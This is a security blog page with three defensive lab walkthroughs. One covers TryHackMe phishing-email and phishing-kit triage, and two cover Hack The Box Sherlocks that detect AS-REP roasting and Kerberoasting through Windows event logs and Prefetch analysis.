Posts on Drew Arpino (Stumblesec)

TryHackMe — Snapped Phish-ing Line Challenge Walkthrough

Sat, 13 Jun 2026 00:00:00 +0000

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Snapped Phish-ing Line blue team challenge from TryHackMe, you’re in the right place.

This scenario drops us into a quickly escalating incident at SwiftSpend Financial, where multiple users got hit with suspicious phishing emails and some even got hooked by the lure and submitted their credentials. Not good! Our job is to analyze the phishing emails, check out the attachments, determine how this phishing kit operates, and scope the affected users.

This challenge focuses heavily on phishing email analysis and incident triage fundamentals. To help us on our investigation we’ll pivot between tools like CyberChef, VirusTotal, and a few native utilities within the lab VM to inspect email headers, analyze malicious attachments, extract artifacts from a phishing kit, and identify attacker infrastructure.

What makes this challenge especially valuable is how it mirrors real-world workflows. I’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the field. Sounds like fun, right? Let’s go!

Challenge Scenario:

As a member of the IT department at SwiftSpend Financial, you are responsible for assisting employees with technical concerns. What initially appeared to be a routine day quickly escalated when multiple employees across different departments reported receiving a suspicious email. Several users noted unusual characteristics in the message, and unfortunately, some had already submitted their credentials and were no longer able to access their accounts. With the potential for a wider compromise, the incident has been escalated for investigation. Your task is to analyze the available evidence, determine the scope of the attack, and uncover how the adversary operated.

Objectives

Analyze the provided email samples to identify key artifacts

Investigate phishing URLs to understand redirection

Retrieve and examine the phishing kit used in the attack

Use CTI tools to gather intelligence on the adversary

Analyze the phishing kit to uncover additional indicators

Questions 1 & 2:

1. Begin reviewing the emails in the phish-emails folder on your desktop.

Which individual received the email regarding a Quote for Services Rendered?

2. What email address was used by the adversary to send the phishing emails?

Let’s kick off our investigation. Our first objective is to analyze the provided email samples and identify key artifacts. Open the phish-emails folder on the desktop of the THM VM. You’ll find several phishing email samples in this directory.

The first file to review is: Quote for Services Rendered processed on June 29 202 100132 AM.eml

This file contains the email header information needed to answer both Question 1 and Question 2.

Overview of the phishing artifacts

There are a couple of ways to approach this. We can open the .eml file in a mail client like Thunderbird, which is already installed on the VM, or we can rely on CyberChef to review the mail headers. CyberChef is also available from Desktop/Tools/CyberChef, or as a handy bookmark in the VM’s Firefox instance.

For this walkthrough, I’ll show both methods.

Thunderbird: Identifying the from and to addresses of the phishing email

CyberChef: Identifying the from and to addresses of the phishing email

While this is a simple check, getting comfortable with mail headers that aren’t visible in a mail client’s simplified view is a helpful exercise as you build experience in phishing triage.

Questions 3 & 4:

3. Investigate the attachment in the email addressed to Zoe Duncan.

What is the root domain of the redirection URL found within the file?

4. Open the attachment in your VM web browser.

Which company is the login page impersonating?

Moving right along to Question 3 and Question 4, we’ll need to review a second phishing email from the phish-emails folder. This time, we’re looking for the one that’s addressed to Zoe Duncan: Group Marketing Online Direct Credit Advice - zoe.duncan@swiftspend.finance.eml

We’re interested in analyzing the attachment: Direct Credit Advice.html. For simplicity, let’s download the attachment directly from the message.

Thunderbird: Downloading the attachment for Zoe Duncan

Sure, we could simply open the attachment, but a more controlled way to assess the file is to use CyberChef to analyze it. Drag the malicious HTML attachment we downloaded from Thunderbird into a new input tab in CyberChef. While the file is readable as-is, we can speed up analysis by applying the Extract URLs operation. This parses the file and displays only URLs identified in the file, which simplifies review versus manually picking them out.

CyberChef: Extracting the URL from the phishing attachment

This approach allows us to quickly identify both the root domain and the URL used in the phishing attachment. It also gives a strong indication of which brand is being impersonated as the lure, even without visiting the phishing page directly.

Since Question 4 asks us to open the attachment, open it up to see how everything appears to the victim when rendered in the web browser. Right away we’ll see the obvious branding of the company the phishing kit is impersonating:

Firefox: The phishing landing page

Questions 5 & 6:

5. Let’s check if the attacker left any files exposed on the same website.

Navigate to the /data directory. What is the name of the archive file?

6. Download the phishing kit archive to your virtual environment.

Using the sha256sum command, what is the SHA256 hash of the file?

Now, this question might feel a bit confusing at first. You might be wondering how we’re able to access the URL, since the lab environment typically doesn’t allow full internet access. There’s a clue in the hosts file, which maps an IP address to the phishing domain, allowing us to access it within the lab environment.

Terminal: Checking the /etc/hosts file

So, jump back to Firefox and enter the URL we found in Question 3. From there, we just need to make a small adjustment to the phishing URL and append /data to it, to navigate to the directory where the .zip file is hosted.

Firefox: The index of the /data subdirectory

Now that we’ve found it, we’ll download the archive, then use the sha256sum command from the terminal to calculate the SHA256 hash of the phishing kit.

Terminal: Calculating the SHA256 hash of the phishing kit archive

By locating the file and grabbing the kit’s file hash, we can pivot and gather additional threat intelligence. This helps add context to the investigation and may reveal whether this kit has been observed in other campaigns.

Questions 7 & 8:

7. Investigate the file hash from the previous question using VirusTotal (opens in new tab).

Aside from phishing, what other threat category is assigned to the ZIP archive?

8. Review the VirusTotal Details page for the phishing kit.

How many files are contained within the archive?

With the hash of the phishing kit in our hands, a solid next step is to identify what additional context and intelligence we can gather. For this task, we’ll use VirusTotal. Since the lab VM has limited internet access, this step requires a browser outside of the lab environment (like on your local machine).

Navigate to *VirusTotal* and paste the SHA256 hash from Question 6 into the search bar which lets us to check out the platform’s analysis results if the sample has already been submitted.

In this case, we’re in luck, the sample has already been analyzed so we don’t need to wait for the scanning to complete. Locate the Threat Categories section to determine how the file has been classified. Aside from phishing, there are two additional categories listed. We’re interested in the first of those categories to answer Question 7.

https://www.virustotal.com/gui/file/ba3c15267393419eb08c7b2652b8b6b39b406ef300ae8a18fee4d16b19ac9686

Next, we can review the high-level details about the archive’s contents, like the number of files contained in it. To do this, navigate to: Details → Bundle Info → Contents Metadata → Contained Files

This section shows how many files are packaged within the archive, which answers Question 8.

VirusTotal: Identifying the number of files contained in the archive

Question 9: Let’s see if the attacker has exposed any captured credentials.

Navigate to the `/data/Update365/` directory and investigate the log file.

What is the email address of the user who submitted their credentials more than once?

Next up, we’ll bounce back to Firefox to analyze the log file hosted on the phishing site. Navigate to the /data/Update365 directory of the phishing domain. There, we’ll find the log.txt file, which appears to contain credentials captured by the phishing kit.

Firefox: Accessing the log.txt file on the phishing domain

Open log.txt. The file is fairly small, so we can quickly perform a manual review by looking for duplicate entries in the email field. Contents of the log file

In a real-world scenario, log files would likely be much larger. To work more efficiently, we can extract email addresses and identify duplicates using CyberChef. Copy the contents of the log file and paste them into CyberChef. From there, apply the Extract email addresses operation, followed by Sort, to quickly surface the duplicates. This approach helps scale the analysis by reducing those manual checks.

CyberChef: Analyzing the contents of the log.txt file

Using either method, we’ve identified a single user who submitted their credentials more than once. This suggests the user attempted to log in repeatedly after the first submission.

Sounds like this user might need double the training :D

Question 10: Extract the phishing kit archive and locate the `submit.php` file.

What email address is used by the adversary to collect compromised credentials?

To answer Question 10, extract the phishing kit ZIP file that we downloaded in Question 6 and locate the submit.php file found at:

/home/damianhall/Downloads/Update365/office365/Validation/submit.php

Once you’ve got it, drop the file into CyberChef. As before, we can use the Extract email addresses operation to quickly identify any email addresses embedded in the script.

CyberChef: Extracting email addresses from submit.php

In this case, there is only a single result. This strongly suggests we’ve identified the address used by the attacker to collect the compromised credentials.

Question 11: Return to the phishing URL and locate the `flag.txt` file.

Using CyberChef (opens in new tab) to decode the flag, what is the secret value?

Finally, we’ve made it to the grand finale, which has us searching the phishing site for flag.txt. Since we don’t have enumeration tools like DirBuster or OWASP ZAP available in the VM, we’ll take a manual approach to hunt for the flag.

A logical starting point is to revisit the directories we already know exist, such as:

/data
/data/Update365
/data/Update365/office365

From there, we can try appending flag.txt to these paths.

Firefox: Locating the flag.txt file through manual enumeration

Hey, that worked! We’ve found the flag. One last hurdle remains: the contents of the file appear to be obfuscated…

No problem. We just need to do some light decoding using CyberChef.

Copy the contents of flag.txt into a new input window in CyberChef and apply the From Base64 operation. This gets us closer, but the output still isn’t readable. Next, add the Reverse operation to reveal the final flag.

CyberChef: Decoding the obfuscated flag

Nice job! Now let’s wrap up this investigation.

Conclusion:

How fun was that! A big thank you to TryHackMe for another awesome challenge.

This investigation gave us a practical look at how phishing campaigns operate and can be triaged, from the initial email lure all the way through credential harvesting and exposed attacker infrastructure.

Along the way, we reviewed email headers, analyzed malicious attachments, identified attacker-controlled infrastructure, and even dug into a phishing kit to uncover how credentials were being collected. Each step built on the last, which made the investigation feel both structured and realistic. What I liked most about this challenge is how closely it mirrors real-world workflows and gives a small peek behind the curtains of the kit.

One of the biggest takeaways for me is how effective CyberChef can be during investigations. Even for relatively simple tasks like extracting URLs, parsing email addresses, or decoding content, CyberChef significantly speeds up analysis. Instead of manually picking through data, we’re able to quickly isolate what matters and move on to the next lead. Small efficiency gains like that add up quickly, especially in larger investigations.

Thanks for working through this investigation with me. Hopefully this walkthrough helps you get past a stumbling block or gives you a few ideas you can apply in your own analysis.

Remember, cybersecurity is a team sport, and we’re in this together! Until next week’s challenge — stay curious and be safe out there.

Tools & References:

Challenge Link: https://tryhackme.com/room/snappedphishingline

VirusTotal: https://www.virustotal.com/

CyberChef: https://gchq.github.io/CyberChef/

HackTheBox — Campfire-2 Sherlock Walkthrough

Sun, 24 May 2026 00:00:00 +0000

HackTheBox: Campfire-2 Sherlock Walkthrough

Detecting AS-REP Roasting Activity: Correlating Kerberos Events and Authentication Logs with Event Log Explorer

Image Credit: https://app.hackthebox.com/sherlocks/Campfire-2?tab=play_sherlock

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Campfire-2 Sherlock from Hack The Box, you’re in the right place.

This is the second challenge in the Detecting Active Directory Attacks track and it wastes no time dropping us into a classic blue team scenario. If you’re a completionist, or just want to follow along in order, check out my walkthrough of Campfire-1:

HackTheBox: Campfire-1 Sherlock Walkthrough

Hot off the heels of a Kerberoasting event, we’re jumping back in the saddle. This time, we’re given a single forensic artifact: a domain controller security log. With just this one event log, it’s on us to figure out what’s going on, identify the user account tied to a suspicious request, and determine what actually happened in Forela’s network.

Along the way, we’ll lean on our trusty event log tool, Event Log Explorer, to filter the data and apply a MITRE ATT&CK detection strategy to dial in our results and add some helpful context. This one is a bit more focused, but it’s a classic foundational scenario that shows how far you can get with just domain controller telemetry.

And hey, if you find this walkthrough helpful, whether it helps you level up your memory forensics skills, gets you over a stumbling block, or just serves as a useful reference, consider following me for more weekly deep dives.

Thanks for reading and going on this investigation with me. Let’s go!

Challenge Scenario:

Forela’s Network is constantly under attack. The security system raised an alert about an old admin account requesting a ticket from KDC on a domain controller. Inventory shows that this user account is not used as of now so you are tasked to take a look at this. This may be an AsREP roasting attack as anyone can request any user’s ticket which has preauthentication disabled.

Setup the Analysis Environment & Extract the Challenge File:

Safety first! It’s always important when working with lab/challenge files from HtB (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I’m using FLARE-VM for this challenge which is “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”

To keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.

GitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

AS-REP Primer:

Before we jump too far into the investigation, let’s lay some groundwork and do a quick recap of what an AS‑REP attack is in the context of a domain controller. This will help us contextualize the investigation as we move through it.

In an Active Directory environment, modern authentication is handled using Kerberos. We don’t need to go terribly in‑depth, since there are excellent resources for deeper dives if you want to explore it more fully. The idea is that when a client in an Active Directory domain needs to access a resource or log in to a server, an authentication flow takes place using Kerberos. Microsoft has clear visuals in its Learn documentation that walk through this exchange:

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13

The AS‑REQ and AS‑REP are the first steps in the Kerberos authentication process. AS‑REP roasting becomes possible when an account has Kerberos pre‑authentication disabled.

With pre‑authentication enabled, the user’s AS‑REQ includes a timestamp encrypted with their password hash. The domain controller must successfully decrypt that timestamp before it will issue an AS-REP containing a Ticket Granting Ticket (TGT). This step helps prove the requester actually knows the user’s secret.

When an account doesn’t require this pre-authentication, attackers can just send an AS-REQ, snag the AS‑REP, and then brute‑force the encrypted data offline to recover the password. This is what’s called an AS-REP Roasting attack, which MITRE ATT&CK classifies under Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004).

MITRE describes it like this:

Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.

Not good! But understanding this flow is exactly what we need as we move into the investigation.

MITRE also provides helpful detection guidance. It recommends monitoring for patterns such as:

Detects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (Event ID 4768 with Pre-Auth Type 0). Correlates these requests with subsequent service ticket activity (Event ID 4769) and anomalies such as requests using weak RC4 encryption (etype 0x17).

In other words, by combining these telemetry points and applying them to our investigation, we can start to spot activity that looks like AS‑REP roasting and begin to scope what’s really happening. Let’s give it a shot!

Question 1: When did the ASREP Roasting attack occur, and when did the attacker request the Kerberos ticket for the vulnerable user?

Let’s kick off this investigation. After extracting campfire-2.zip, we’re left with a single artifact: Security.evtx from Forela’s domain controller.

While we could analyze this log using the built‑in Windows Event Viewer, for this walkthrough I’m once again using Event Log Explorer, a third‑party utility that significantly speeds up filtering and navigation during event log analysis. It’s already installed in my lab environment, and for investigations like this, it’s hard to beat.

Once Event Log Explorer is open, load the Domain Controller security.evtx. From here, we can apply the MITRE ATT&CK detection guidance we discussed in the AS-REP Roasting primer and put it directly into practice.

To do that:

Click the Filter button in the toolbar
Add Event ID 4768 (A Kerberos authentication ticket (TGT) was requested)
Select Description Params
Locate Additional Information\Ticket Encryption Type
Set the operator to Equal
Add the value 0x17 (RC4 encryption)
Locate Additional Information\Pre-Authentication Type
Set the operator to Equal
Add the value 0 (pre-authentication disabled)

Event Log Explorer: Applying the MITRE ATT&CK detection filters to our log

After applying this filter, we’re left with exactly one matching event. That’s a strong signal and, conveniently, it’s all we need to answer Question 1.

There’s one final detail to pay attention to. The question expects the answer in UTC time. Event Viewer and many third‑party tools often display timestamps in local time by default, which can easily trip you up if you’re not careful.

To get the authoritative timestamp, double‑click the event, open the XML tab, and look for the <SystemTime> field. This value is recorded in UTC and removes any ambiguity around time zone conversion.

Event Log Explorer: Drilling into event properties to find the UTC SystemTime value

At this point, we’ve isolated the Kerberos authentication request that matches the conditions for a potentially AS‑REP roastable account and identified the precise UTC timestamp associated with it. With that in hand, we can confidently answer Question 1 and move forward with the investigation.

Questions 2, 3, 4:

Please confirm the User Account that was targeted by the attacker.

What was the SID of the account?

It is crucial to identify the compromised user account and the workstation responsible for this attack. Please list the internal IP address of the compromised asset to assist our threat-hunting team.

Now that we’ve identified the TGT request that exposes the right conditions for a potential AS‑REP roasting attack, we have a ton of useful forensic detail to work with. This is where Kerberos logging really starts to pay off.

Looking back at our work in Question 1, we already isolated the relevant Event ID 4768. From here, it’s just a matter of pulling the right fields from the event record.

Event Log Explorer: Analyzing the event details

To answer Question 2, we can look at the Account Name field, which identifies the user account targeted in the request: arthur.kyle.

For Question 3, we’re asked to provide the Security Identifier, or SID, of that account. In Active Directory, the SID is the unique value used to identify a security principal. In this event, that value is captured in the User ID field, which gives us the SID associated with arthur.kyle.

Finally, for Question 4, we pivot to the Network Information section of the event. The Client Address field provides the source of the request. In this case, we’re interested in the IPv4 address, which represents the workstation that initiated the Kerberos authentication request. This gives us a valuable pivot point to continue the investigation and start scoping the potentially compromised system.

Question 5: We do not have any artifacts from the source machine yet. Using the same DC Security logs, can you confirm the user account used to perform the ASREP Roasting attack so we can contain the compromised account/s?

Remember in the detection strategy back in the primer that MITRE ATT&CK recommended correlating Event ID 4768 activity with “subsequent service ticket activity (Event ID 4769).”

This next step is doing exactly that. We’re correlating our original finding with [Event ID 4769](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769) (A Kerberos service ticket was requested) and pivoting off the client IP address we uncovered in Question 4.

To do this, apply a new filter in Event Log Explorer:

Scope to Event ID 4769
Add the Description Param: Network Information\Client Address
Operator: Contains
Value: 172.17.79.129

Event Log Explorer: Filtering Kerberos service ticket requests (4769) from the suspicious client

After applying this filter, we’re left with a single matching event. That gives us a clean correlation point between the source system and follow-on Kerberos activity.

Drilling into the event details, we can now identify the account associated with this request. The event shows the account name happy.grunwald, which appears to be the user context tied to the system performing the activity.

Event Log Explorer: Analyzing the event details

At this point, we’ve linked together:

The targeted account (arthur.kyle)
The source system (172.17.79.129)
And now the user context associated with that system (happy.grunwald)

This gives us enough context to begin containment actions and start scoping the potential compromise. With that, we’ve answered all of the questions and completed the investigation. Nice job!

Conclusion:

Another great challenge, how fun was that? A huge thank you to Hack The Box for the Sherlock.

This lab ended up being a really good reminder of just how much signal exists in event logging if you take the time to understand how domain authentication actually works. Kerberos isn’t new, and AS‑REP roasting isn’t either, but walking through the mechanics step by step makes it clear why weak account configuration still represents real risk in modern environments. Nothing wild here, just attackers leveraging expected behavior in ways defenders need to anticipate.

What I appreciated most about this challenge is how focused it was. It zeroed in on a single detection and made it approachable without oversimplifying it. In a real environment, we’d be dealing with a lot more noise, but this Sherlock does a great job of showing how to investigate AS‑REP roasting in an approachable way.

Like in Campfire-1, leaning on MITRE ATT&CK as a reference point paid off here. Rather than hunting blindly, it helped us home in on what to look for, why certain events mattered, and how those signals might translate into detections later on. This kind of structured approach quietly reinforces how ATT&CK can guide both investigations and detection engineering without forcing things into a rigid workflow.

If you got something out of this walkthrough, whether it helped you better understand Kerberos abuse, work through a stumbling block, or just served as a practical reference, feel free to give it a clap and follow along. I really appreciate the support, and I hope these write‑ups continue to be useful.

Remember, cybersecurity is a team sport, and we’re in this together.

Until next week’s challenge, stay curious and be safe out there.

Tools & References:

Challenge Link: https://app.hackthebox.com/sherlocks/Campfire-2?tab=play_sherlock

Flare-VM: https://github.com/mandiant/flare-vm

Event Log Explorer: https://eventlogxp.com/

Microsoft Learn — “Kerberos Network Authentication Service (V5) Synopsis”: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13

MITRE ATT&CK — Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004): https://attack.mitre.org/techniques/T1558/004/

Microsoft Learn — “4768(S, F): A Kerberos authentication ticket (TGT) was requested”: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768

Microsoft Learn — “4769(S, F): A Kerberos service ticket was requested”: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769

HackTheBox — Campfire-1 Sherlock Walkthrough

Sun, 10 May 2026 00:00:00 +0000

HackTheBox: Campfire-1 Sherlock Walkthrough

Detecting Kerberoasting Activity: Correlating Kerberos Events, PowerShell Logs, and Prefetch Artifacts

Image Credit: https://app.hackthebox.com/sherlocks/Campfire-1?tab=play_sherlock

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Campfire-1 Sherlock from Hack The Box, you’re in the right place.

This is the first challenge in the Detecting Active Directory Attacks track and it wastes no time dropping us into a classic blue team scenario.

For this walkthrough, we’re given a collection of forensic artifacts, including Domain Controller security logs, PowerShell operational logs from the affected workstation, and Windows Prefetch files. From there, it’s on us to reconstruct the attack and figure out what actually happened in the environment.

Along the way, we’ll bust out a handful of tools, including Event Log Explorer, PECmd, and Timeline Explorer, and map what we find back to MITRE ATT&CK to add some helpful context. Going hands‑on with a broad set of tools like this is a great way to get experience with multiple utilities and compare how each one shines during different phases of an investigation.

Thanks for reading and going on this investigation with me. Let’s go!

Challenge Scenario:

Alonzo Spotted Weird files on his computer and informed the newly assembled SOC Team. Assessing the situation it is believed a Kerberoasting attack may have occurred in the network. It is your job to confirm the findings by analyzing the provided evidence.

You are provided with:

1- Security Logs from the Domain Controller

2- PowerShell-Operational Logs from the affected workstation

3- Prefetch Files from the affected workstation

Setup the Analysis Environment & Extract the Challenge File:

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Kerberoasting Primer:

Before we jump too far into the investigation, let’s lay some groundwork and do a quick recap of Kerberoasting in the context of domain authentication. This will help us contextualize what we’re looking at as we move through the evidence and hopefully avoid stumbling over assumptions later on.

At a high level, the attacker already has valid domain credentials. With those credentials, they can request a Kerberos service ticket for another account that has a registered Service Principal Name or SPN. These SPNs are typically associated with service accounts. Because Kerberos is designed to allow any authenticated domain user to request service tickets, the attacker can ask the domain controller for tickets tied to these exposed service accounts.

If the service account is protected by a weak password, especially if a legacy encryption algorithm like RC4 is still in use, the attacker can take the resulting ticket offline and attempt to brute force it. If successful, this might give them valid service account credentials. From there, lateral movement or privilege escalation becomes much easier, depending on how that account is configured in the domain.

MITRE ATT&CK describes the technique like this:

Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force.1(https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1)2(https://adsecurity.org/?p=2293)

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service3(https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/)).

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).1(https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1)2(https://adsecurity.org/?p=2293) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials.

Not good. But understanding this flow is exactly what we need as we move into the investigation.

MITRE ATT&CK also provides helpful detection guidance (DET0157) and recommends:

Monitoring for anomalous Kerberos TGS requests (Event ID 4769) with RC4 encryption (etype 0x17), accounts requesting an unusual number of service tickets in a short period, or service accounts targeted outside normal usage baselines. Also correlates suspicious process activity (e.g., Mimikatz invoking LSASS access) with Kerberos ticket anomalies.

In other words, by combining these telemetry points and using them as the basis of our investigation, we can more confidently spot Kerberoasting activity and scope its impact. Let’s give it a shot.

Question 1: Analyzing Domain Controller Security Logs, can you confirm the UTC date & time when the kerberoasting activity occurred?

Let’s kick off our investigation by extracting the challenge artifact, campfire-1.zip, which leaves us with a folder named Triage. Inside that folder, we’re given both Domain Controller artifacts and Workstation artifacts.

For the Domain Controller evidence, we’ve got a Windows Security Event log named security.evtx. This log contains, among many other things, authentication and ticket‑granting activity related to the domain. Since the question is asking us to confirm Kerberos‑related activity, this is a logical place to start.

While we could analyze this log using the built‑in Windows Event Viewer, for this walkthrough I’m using Event Log Explorer, a third‑party utility that significantly speeds up filtering and navigation during event log analysis. It’s already installed in my lab environment, and for investigations like this, it’s hard to beat.

Once Event Log Explorer is open, load the Domain Controller security.evtx. From here, we can apply the MITRE ATT&CK detection guidance we discussed in the Kerberoasting primer and put it directly into practice.

To do that:

Click the Filter button in the toolbar
Add Event ID [4769](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769) (A Kerberos service ticket was requested)
Select Description Params
Locate Additional Information\Ticket Encryption Type
Set the operator to Equal
Add the value 0x17 (RC4 encryption)

Event Log Explorer: Applying the MITRE ATT&CK detection filters to our log

After applying this filter, we’re left with exactly one matching event. That’s a strong signal and, conveniently, it’s all we need to answer Question 1.

Event Log Explorer: Pinpointing the matching event

There’s one final detail to pay attention to. The question specifically asks for the UTC date and time. Event Viewer and many third‑party tools often display timestamps in local time by default, which can easily trip you up if you’re not careful.

Event Log Explorer: Drilling into event properties to find the UTC SystemTime value

At this point, we’ve isolated the Kerberos service ticket request that matches known Kerberoasting indicators and identified the precise UTC timestamp associated with it. With that information in hand, we can confidently answer Question 1 and move forward with the investigation.

Questions 2 & 3:

What is the Service Name that was targeted?

It is really important to identify the Workstation from which this activity occurred. What is the IP Address of the workstation?

To answer Questions 2 & 3, we need to look a bit more closely at the event we identified in Question 1. Specifically, we’re going to examine the Description details for that Kerberos service ticket request. There’s a wealth of useful forensic information here, but for now we’re focused on two things: the service that was targeted and the workstation that made the request.

Event Log Explorer: Identifying the targeted service account and requesting client address

If you recall from the primer, I mentioned that service accounts are the ones that typically have registered Service Principal Names. We can see that pattern clearly in this event. Under Service Information, the Service Name field shows MSSQLService. That immediately stands out because MSSQLService is the SPN used by Microsoft SQL Server to authenticate database services. This fits neatly into the expected attack chain.

That gives us our answer for Question 2.

Next, we need to identify the workstation responsible for making this request. This information lives a bit further down in the same event under Network Information. Here we can see the Client Address, which records the IPv4 address of the system that requested the service ticket.

In this case, the address listed is 172.17.79.129. That tells us exactly where the request originated from and gives us a starting point for pivoting into the workstation‑side artifacts later in the investigation.

With the targeted service identified and the requesting workstation pinned down, we’ve now answered Questions 2 & 3 and set ourselves up nicely for the next phase of analysis.

Questions 4 & 5:

Now that we have identified the workstation, a triage including PowerShell logs and Prefetch files are provided to you for some deeper insights so we can understand how this activity occurred on the endpoint. What is the name of the file used to Enumerate Active directory objects and possibly find Kerberoastable accounts in the network?

When was this script executed? (UTC)

Moving right along, the next thing we need to tackle is figuring out exactly which tool was used on the workstation to enumerate Active Directory objects and discover Kerberoastable accounts with exposed SPNs. For that, we’ll pivot away from the Domain Controller and jump over to the workstation artifacts.

The first artifact we’ll look at is the PowerShell-Operational.evtx log. This log records PowerShell operational activity, including cmdlet execution and script content via Script Block Logging. That makes it an excellent data source when we suspect malicious PowerShell activity on an endpoint.

Jump back into Event Log Explorer and load PowerShell-Operational.evtx. From here, we’ll focus on Event ID 4104, which corresponds to PowerShell Script Block Logging. This event type often exposes exactly what code was executed, even if the script itself was run from disk or memory.

Event Log Explorer: Finding evidence of PowerView execution

The evidence shows up across multiple 4104 events, but by navigating to the earliest occurrences, we can see where this activity began. In those initial events, the script content clearly references powerview.ps1.

For context, PowerView is a reconnaissance module that’s part of PowerSploit, an open‑source offensive PowerShell framework. PowerView is used for domain enumeration tasks such as identifying user accounts, group memberships, and service accounts with SPNs. In other words, a very common tool used to discover Kerberoastable accounts during the discovery phase of an attack. This gives us what we need to answer Question 4.

PowerSploit _PowerSploit is an open source, offensive security framework comprised of PowerShell modules and scripts that perform a…_attack.mitre.org

Since we’ve also identified the first Script Block Logging event that references this file, we now have what we need to answer Question 5 as well. As before, the question asks for the execution time in UTC, so we can’t rely on the default timestamp shown in the event viewer.

To get the correct value, double‑click the event, switch to the XML tab, and locate the <SystemTime> field.

Event Log Explorer: Grabbing the timestamp of PowerView execution

With the tool identified and the execution time confirmed, we’ve now answered Questions 4 & 5 and established how the attacker enumerated Active Directory from the endpoint.

Questions 6 & 7:

What is the full path of the tool used to perform the actual kerberoasting attack?

When was the tool executed to dump credentials? (UTC)

Our final pair of tasks is to figure out the tool that the attacker actually ran to perform the Kerberoasting attack against the Domain Controller. To do that, we’ll pivot away from event logs entirely and turn to our third forensic artifact: Windows Prefetch files.

These files are located under the following directory in the challenge artifacts:

\Triage\Workstation\2024-05-21T033012_triage_asset\C\Windows\prefetch

Rather than reinvent the wheel explaining what these are and their value, I’ll borrow a solid explanation from Magnet Forensics:

Prefetch files are great artifacts for forensic investigators trying to analyze applications that have been run on a system. Windows creates a prefetch file when an application is run from a particular location for the very first time. This is used to help speed up the loading of applications. For investigators, these files contain some valuable data on a user’s application history on a computer.

The idea here is that if we can parse these Prefetch files, we should be able to identify which executable was launched on the workstation during the attack window and determine its file path. This gives us visibility into the actual Kerberoasting tool used, even if it didn’t leave obvious footprints elsewhere.

The downside is that Prefetch files aren’t meant to be read directly, so we need a way to convert them into something usable.

The contents of the prefetch folder

Enter PECmd, one of the many tools in Eric Zimmerman’s suite. It’s built to parse the prefetch logs and it’s already loaded in the analysis environment, so we just need to run it from PowerShell. Here’s an example command where we tell PECmd to parse the prefetch directory and output to a CSV called investigation.csv:

To do that, we’ll use PECmd, one of the tools in Eric Zimmerman’s forensic suite. It’s specifically built to parse Prefetch files and extract execution metadata, and it’s already available in the analysis environment.

From PowerShell, we can run the following command to parse the Prefetch directory and export the results to a CSV file:

.\PECmd.exe -d “C:\Users\vboxuser\Desktop\Challenges\Triage\Workstation\2024-05-21T033012_triage_asset\C\Windows\prefetch" –csv “C:\Users\vboxuser\Desktop\Challenges”–csvf investigation.csv

Once the CSV is generated, we can open it using Timeline Explorer, another Zimmerman tool that makes sorting and filtering forensic timelines much easier.

Inside Timeline Explorer, focus on the Executable Name column. This is where we’re looking for the tool responsible for the Kerberoasting activity. Scanning through the results, one name immediately stands out among the normal background applications. Can you spot it?

Timeline Explorer: Finding the tool that performed the kerberoasting and the time of execution

The tool is Rubeus (S1071), a well‑known Kerberos abuse tool frequently used to perform Kerberoasting, ticket harvesting, and other Kerberos‑focused attacks.

Rubeus _Edit description_attack.mitre.org

To determine the full file path, select the Files Loaded column for the Rubeus entry and double‑click it to open the detailed view. This reveals the full path used when the executable was launched. Since Prefetch paths are recorded relative to the drive, we simply need to prepend C:\ to reconstruct the complete path to answer Question 6.

Finally, to answer Question 7, we can pull the execution time directly from the Last Run column in the Prefetch data. As with earlier steps, this timestamp is recorded in UTC, so no time zone conversion is required.

At this point, we’ve identified the exact tool used to dump Kerberos service tickets, confirmed where it lived on disk, and pinned down when it was executed, neatly closing out Questions 6 & 7 and our investigation. Nice job!

Conclusion:

Great challenge, how fun was that? A huge thank you to Hack The Box for another awesome challenge.

